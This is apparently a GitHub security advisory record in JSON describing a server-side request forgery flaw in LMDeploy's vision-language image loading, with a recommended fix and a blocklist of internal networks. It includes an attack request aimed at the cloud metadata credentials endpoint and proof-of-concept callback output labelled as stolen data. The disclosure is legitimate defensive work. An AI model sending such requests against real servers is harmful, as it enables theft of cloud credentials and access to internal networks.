{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T15:04:13Z",
    "nvd_published_at": "2026-04-20T21:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy\u0027s vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -\u003e Image.Image:\n    # ...\n    if image_url.startswith(\u0027http\u0027):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  LMDeploy SSRF Vulnerability - Proof of Concept                       \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n\u2705 SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u002710.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027172.16.0.0/12\u0027),\n    ipaddress.ip_network(\u0027192.168.0.0/16\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n]\n\ndef is_safe_url(url: str) -\u003e bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security\u0027s research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security",
  "id": "GHSA-6w67-hwm5-92mq",
  "modified": "2026-04-21T15:04:13Z",
  "published": "2026-04-21T15:04:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/pull/4447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading"
}